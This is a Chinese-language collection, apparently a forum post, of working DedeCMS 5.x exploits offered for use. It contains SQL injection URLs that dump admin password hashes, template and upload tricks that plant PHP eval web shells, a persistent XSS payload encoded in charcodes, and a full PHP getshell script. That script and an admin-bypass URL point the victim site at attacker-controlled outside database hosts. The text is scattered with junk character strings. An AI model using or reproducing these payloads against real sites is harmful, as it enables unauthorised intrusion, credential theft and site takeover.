dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
# N* S# H* X  P! [* @http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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5 B3 T; E- \! m1 i7 o0 ]0 S8 [+ FDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
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$ c& h$ R! Z& t1 FDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
/ j7 W1 K4 u1 p6 T9 O" p0 ~http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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DEDECMS 全版本 gotopage变量XSS漏洞
) z. V9 F% I6 @& a1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
$ g8 s; _& U3 t- o! Dhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

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5 K% g% e, K# k$ k5 ~7 Q2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php
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. b& ~' A4 ^4 x% t" P1 @color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
* K. V+ }" V/ s; w3 e# g7 C; M, t<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
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/ {3 x$ }: V$ n5 a7 P+ j0 Lecho "\r\n";
if($argv[2]==null){
  H: J, U% N# h+ nprint_r('
+---------------------------------------------------------------------------+
0 o* u) @$ I& B0 J' L# D) }Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
1 |) \# s/ g  z' Jphp '.$argv[0].' www.site.com 1 old
4 @6 K: L; ?0 j. |8 f+---------------------------------------------------------------------------+
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exit;
8 Y; {, _& }) N- u3 K8 `}
$url=$argv[1];
$aid=$argv[2];
( }7 w# Y& W/ @$path=$argv[3];
$exp=Getshell($url,$aid,$path);
1 D! K+ F9 P* y/ zif (strpos($exp,"OK")>12){
echo "
  }$ h4 W% o1 hExploit Success \n";
if($aid==1)echo "
, `) t$ f4 J0 t$ m4 M. ZShell:".$url."/$path/data/cache/fuck.php\n" ;
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if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
! U' I: s/ q& MShell:".$url."/$path/plus/fuck.php\n";
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}else{
" q; R: o7 Z- k- kecho "
: V# \: ?( g6 A; \, DExploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
9 P5 k5 A; Q/ T$ S' W( D" Y$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
( u; V1 @' {2 v$ K5 }/ o$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
9 n" t; x! i; V/ C$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
* E6 F/ ^% F3 ^7 H  v$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
# S: t# R6 I7 a) G/ h4 a$ock=fsockopen($host,$port);
# ?; F7 r2 F9 F& Jif (!$ock) {
echo "
No response from ".$host."\n";
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* L  X0 r* Q$ `fwrite($ock,$data);
: E* x- d# Z' Z7 ?while (!feof($ock)) {
$exp=fgets($ock, 1024);
% G' g+ E7 U, b- }' H/ {return $exp;
}
}
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?>

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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
% x) u0 ?, L' ?3 v4 o- zhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

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把上面validate=dcug改为当前的验证码，即可直接进入网站后台


) c4 w" g3 M# g  Q此漏洞的前提是必须得到后台路径才能实现


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Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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$ l/ G& |' j* s; ~再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
( S5 u+ ]3 [1 N+ L3 ~1 {<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
3 w8 T: l. Q+ ?<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
% S( Y8 z+ O' k1 m  }6 x( `$ @<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
9 l( n: {# ^' H+ B<input type="submit" value="提交" name="QuickSearchBtn"><br />
1 O0 Z, s/ h- c: q, ^</form>
5 e+ \9 R+ W6 |8 E<script>
$ t% n+ X2 @7 gfunction addaction()
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document.QuickSearch.action=document.QuickSearch.doaction.value;
}
& @; D% |) u( v3 z* x9 D</script>

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; y4 J9 w2 y; A+ h( \* qDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
- n) e& f5 r7 I: I3 \" i; u+ [生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
- g* [. |# f) c! L7 I7 sDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
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模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
) N+ @+ |3 L. d( W- }! {6 L) J@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
! J6 w% }. X# S) m& d' ]+ i5 L<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
( l8 m, \1 G! Y) S8 a1 g<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
  J5 @8 N+ Y: G4 x$ V6 K+ b! P<input type="hidden" name="channelid" value="1" />
7 S$ m- d) C$ G; U! ~1 _<input type="hidden" name="oldlitpic" value="" />
# A; W! e' I& x- ^! k<input type="hidden" name="sortrank" value="1275972263" />

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' u* x9 l0 o# H: U( M9 k<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>

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* J2 Y9 }' g% G' o<div class="postForm">
+ n& O" Q3 N3 r5 j& u<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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- i3 V/ |2 J5 }0 ^' S$ a<label>标签TAG：</label>
: U. S7 W) g* N<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


/ m. n+ B4 t& t# \( Y- I. U<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
<select name='mtypesid' size='1'>
4 Y2 O. ~9 ?6 y( c  F. \3 o0 q3 d<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
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<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

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<input type='text' name='templet'
! M- V* k( e$ W  a- fvalue="../ uploads/userup/2/12OMX04-15A.jpg">
& W' E$ z1 _: Y% A  X  I; k( [8 ^, a7 y<input type='text' name='dede_addonfields'
& w. d. Y/ @% r4 h4 R. ?value="templet,htmltext;">（这里构造）
& ]1 P% ]: B. `" a</div>


<!-- 表单操作区域 -->
# t: N8 K% x% y8 `<h3 class="meTitle">详细内容</h3>
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<div class="contentShow postForm">
4 \6 }4 b7 W6 ]' J' U1 |<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

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<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

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<button class="button2" type="submit">提交</button>
0 p- z2 N! }' [! L; a<button class="button2 ml10" type="reset">重置</button>
/ w9 T0 I: c; r* Z: F</div>
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; E, H% w: T# F2 _6 S7 D9 D</div>

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- E. _" a( f8 f2 z" ]. f% {1 t</form>

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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
0 p6 k5 `; j: y. B2 l6 U假设刚刚修改的文章的aid为2，则我们只需要访问：
& _+ @, \  o& }9 z) _# f& g& dhttp://127.0.0.1/dede/plus/view.php?aid=2
& K" D+ j3 x  G8 q2 O" w即可以在plus目录下生成webshell：1.php
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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
2 s0 e# Q( U1 V# J* v5 R' ZGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
2 ^, y  q0 T0 W: ]0 z4 x$ e{/dede:field}
保存为1.gif
/ i: u3 K3 J, J' f+ a; n- T<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
0 q* D6 @% Z; }3 }" I- e<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
; B( g( W# G! n- }<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
: r: A5 P7 W! V; s4 F9 e6 K' e9 e<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
* S1 M1 [6 t$ }0 U  j# l</form>

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6 H) e+ t' H( ~2 s( M构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
2 M6 d  p3 p( G. E1 s<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
8 U" Z% C% C! B2 A/ J& l1 r' p<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
; ?4 P" T* f  H" P% H5 i. V<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
. Z& u9 c& B7 S# P. U; ?<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
0 o( D* T, n* b7 o. K; b<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
+ Y& t7 u% ~: g! P7 m<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
8 F" w$ ~( F. Q<input type='hidden' name='dede_addonfields' value="templet">
8 z' _" G6 P0 F  u8 D<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
3 X; R% `# |# y1 s1 d<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
# t4 p# T& \5 O* o, S# G+ ?</form>
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* ?/ s' @8 t- V8 D织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif


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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
6 d$ B7 `9 V# N4 j. C* U" Phttp://www.test.com/plus/carbuya ... urn&code=../../

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
0 `6 q- I$ Q  J' G8 t3 h% N! B4 ?密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
0 a( k4 O" \/ ^# ]7 Dhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
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<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
: z! k7 A4 L$ |<input type='hidden' name='activepath' value='/data/cache/' />
0 c, r( @. J# W5 w, u  ^<input type='hidden' name='cfg_basedir' value='../../' />
6 h) U# s  k/ H7 Q<input type='hidden' name='cfg_imgtype' value='php' />
5 q6 W; O) J$ Z; u. n  [<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
- n: D3 y% z' }  {<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
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<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
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</html>

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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
% Q0 C2 `( x, L可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
. x& d" E8 U9 U+ E. X2 u9 `( lError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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3 U! K/ X) p& z5 n$ Y2 K<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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按确定后的看到第2步骤的信息表示文件木马上传成功.
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; x3 J. w( b% p1 L7 B! {织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*